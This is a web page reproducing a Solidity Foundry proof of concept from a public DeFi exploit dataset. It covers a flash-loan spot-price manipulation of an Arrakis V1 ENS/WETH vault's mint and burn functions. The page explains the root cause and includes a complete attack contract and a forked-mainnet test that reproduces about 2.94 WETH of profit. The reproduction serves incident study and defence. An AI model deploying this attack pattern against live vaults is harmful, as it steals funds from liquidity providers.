Public reproduction file
src/test/2026-08/ArrakisGUNI_exp.sol
Public reproduction file for dataset entry ArrakisGUNI.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Arrakis Finance V1 (G-UNI) ENS/WETH vault — Uniswap V3 spot-price manipulation of mint/burn —8// Ethereum mainnet, 2026-08. Attacker net surplus ~2.9414 ETH in a single flash-loan-funded tx.9//10// Exploit tx : 0x6ae3af4b2f25a56594de99cfb31369150dd9ac059c49efe04b9e3e0163dbc672 (block 25817966)11// Attacker EOA : 0xa3B096e4df1247794599a37Af8F5b8CB05D5EB4412// Attack ctrt : 0x028d9C17B1a097e7e115A6400203df86339BAf4a (original; NOT replayed here)13// Victim vault : 0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe (Arrakis V1 G-UNI ENS/WETH, proxy;14// impl ArrakisVaultV1 0xd68b055fB444D136e3ac4Df023f4c42334F06395)15//16// Root cause (verified against the on-chain trace and the verified ArrakisVaultV1 source, NOT a17// key/signer/admin compromise): the vault values its Uniswap V3 position for the permissionless18// mint()/burn() deposit-withdraw path off the pool's INSTANTANEOUS slot0() spot price19// (getUnderlyingBalances -> LiquidityAmounts on the live sqrtPriceX96). The contract's TWAP /20// deviation guard wraps only the manager rebalance() path; mint()/burn() have no TWAP and no21// deviation check. So an unprivileged caller can push the V3 tick with a swap, mint shares at the22// skewed valuation, restore the tick, and burn the shares for a richer token mix than deposited.23//24// Exact sequence and amounts, reconstructed 1:1 from the trace as ordinary typed calls (no bytecode25// blob, no raw calldata replay, no redeploy of the original attack contract). token0 = WETH,26// token1 = ENS. All inside one Morpho Blue flash loan:27// 1. flashLoan 1,800 WETH from Morpho.28// 2. swap 150 WETH -> ENS on the V3 pool down to the min-price bound (skews the tick): ~145.4229// WETH in, ~13,292.5 ENS out.30// 3. vault.mint(4486619135659964587643, this): deposit ~1,253.39 WETH + ~13,159.59 ENS for the31// shares, priced at the skewed spot.32// 4. swap ~132.93 ENS -> WETH (partial tick restore).33// 5. vault.burn(same shares, this): redeem ~1,248.41 WETH + ~13,283.30 ENS — a WETH-poorer but34// ENS-richer mix than was deposited.35// 6. swap the entire ENS balance back to WETH, then repay the 1,800 WETH flash loan.36// The ~2.9414 WETH left over is the profit. (On-chain the attack contract skimmed a fixed 0.0537// ETH tip to 0x4838B106... and forwarded the rest to the EOA; that tip is not part of the38// vulnerability, so this PoC measures the raw WETH surplus and omits the skim.)39//40// The vulnerable valuation math runs inside the vault's and pool's real on-chain contracts on the41// fork; this file only issues the same public calls the attacker did, with the on-chain amounts.42//43// forge test --contracts src/test/2026-08/ArrakisGUNI_exp.sol -vvv45interface IMorpho {46 function flashLoan(47 address token,48 uint256 assets,49 bytes calldata data50 ) external;51}53interface IUniV3Pool {54 function swap(55 address recipient,56 bool zeroForOne,57 int256 amountSpecified,58 uint160 sqrtPriceLimitX96,59 bytes calldata data60 ) external returns (int256 amount0, int256 amount1);61}63interface IArrakisVaultV1 {64 function mint(65 uint256 mintAmount,66 address receiver67 ) external returns (uint256 amount0, uint256 amount1, uint128 liquidityMinted);68 function burn(69 uint256 burnAmount,70 address receiver71 ) external returns (uint256 amount0, uint256 amount1, uint128 liquidityBurned);72}74contract ArrakisGUNIAttack {75 IMorpho internal constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);76 IUniV3Pool internal constant POOL = IUniV3Pool(0xb9C4a5522a2f8bA9E2fF7063Df8C02ed443337A3);77 IArrakisVaultV1 internal constant VAULT = IArrakisVaultV1(0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe);78 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token079 IERC20 internal constant ENS = IERC20(0xC18360217D8F7Ab5e7c516566761Ea12Ce7F9D72); // token181 uint160 internal constant MIN_SQRT = 4_295_128_740; // MIN_SQRT_RATIO + 182 uint160 internal constant MAX_SQRT = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341; // MAX - 184 // Exact on-chain amounts.85 uint256 internal constant FLASH = 1800e18;86 uint256 internal constant SKEW_WETH_IN = 150e18; // swapped down to the min-price bound87 uint256 internal constant MINT_SHARES = 4_486_619_135_659_964_587_643;88 uint256 internal constant RESTORE_ENS_IN = 132_925_127_733_721_320_656;90 address internal immutable owner;92 constructor() {93 owner = msg.sender;94 }96 function attack() external returns (uint256 profit) {97 MORPHO.flashLoan(address(WETH), FLASH, "");98 profit = WETH.balanceOf(address(this));99 WETH.transfer(owner, profit); // forward the surplus to the caller100 }102 // Morpho hands over 1,800 WETH here and reclaims it via transferFrom when this returns.103 function onMorphoFlashLoan(104 uint256 assets,105 bytes calldata106 ) external {107 require(msg.sender == address(MORPHO), "not morpho");108 WETH.approve(address(MORPHO), assets);109 WETH.approve(address(VAULT), type(uint256).max);110 ENS.approve(address(VAULT), type(uint256).max);112 // Skew the tick: dump WETH for ENS down to the min-price bound.113 POOL.swap(address(this), true, int256(SKEW_WETH_IN), MIN_SQRT, "");115 // Mint vault shares at the distorted spot valuation.116 VAULT.mint(MINT_SHARES, address(this));118 // Partially restore the tick.119 POOL.swap(address(this), false, int256(RESTORE_ENS_IN), MAX_SQRT, "");121 // Redeem the shares for the richer token mix.122 VAULT.burn(MINT_SHARES, address(this));124 // Sell the entire ENS balance back to WETH.125 POOL.swap(address(this), false, int256(ENS.balanceOf(address(this))), MAX_SQRT, "");126 }128 // Pay the Uniswap V3 pool the token it is owed for each swap.129 function uniswapV3SwapCallback(130 int256 amount0Delta,131 int256 amount1Delta,132 bytes calldata133 ) external {134 require(msg.sender == address(POOL), "not pool");135 if (amount0Delta > 0) WETH.transfer(address(POOL), uint256(amount0Delta));136 if (amount1Delta > 0) ENS.transfer(address(POOL), uint256(amount1Delta));137 }138}140contract ArrakisGUNI_exp is BaseTestWithBalanceLog {141 address internal constant ATTACKER = 0xa3B096e4df1247794599a37Af8F5b8CB05D5EB44;142 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);144 uint256 internal constant FORK_BLOCK = 25_817_965; // parent of the exploit block 25817966145 uint256 internal constant EXPECTED_PROFIT = 2_941_350_352_900_037_140; // ~2.9414 WETH147 function setUp() public {148 vm.createSelectFork("mainnet", FORK_BLOCK);149 vm.label(ATTACKER, "AttackerEOA");150 vm.label(0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe, "ArrakisVault");151 vm.label(0xb9C4a5522a2f8bA9E2fF7063Df8C02ed443337A3, "UniV3Pool");152 }154 function testExploit() public {155 uint256 before = WETH.balanceOf(ATTACKER);157 // Permissionless: run it as the attacker EOA and forward the surplus there.158 vm.prank(ATTACKER, ATTACKER);159 ArrakisGUNIAttack exploit = new ArrakisGUNIAttack();160 uint256 profit = exploit.attack();162 uint256 gain = WETH.balanceOf(ATTACKER) - before;163 emit log_named_decimal_uint("attacker WETH surplus", gain, 18);165 assertEq(gain, profit, "surplus landed with attacker");166 // Reproduced surplus matches the reported ~2.9414 ETH.167 assertApproxEqAbs(gain, EXPECTED_PROFIT, 0.02e18, "surplus off expected ~2.9414 ETH");168 }169}Analysis
Dataset entry
Public Foundry test for “ArrakisGUNI” (2026-08-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa3b096e4df1247794599a37af8f5b8cb05d5eb44
- Victim
0x7c687f775a3b73bbab0e15832f24caab5d53bdde
File record
- Name
- ArrakisGUNI
- Path
- src/test/2026-08/ArrakisGUNI_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 75bc67e1ec99ecca98d53665fb2240c53d094aaa
- Language
- Solidity
- Size
- 170 lines
- Date
- 2026-08-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/ArrakisGUNI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 75bc67e1ec99ecca98d53665fb2240c53d094aaa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.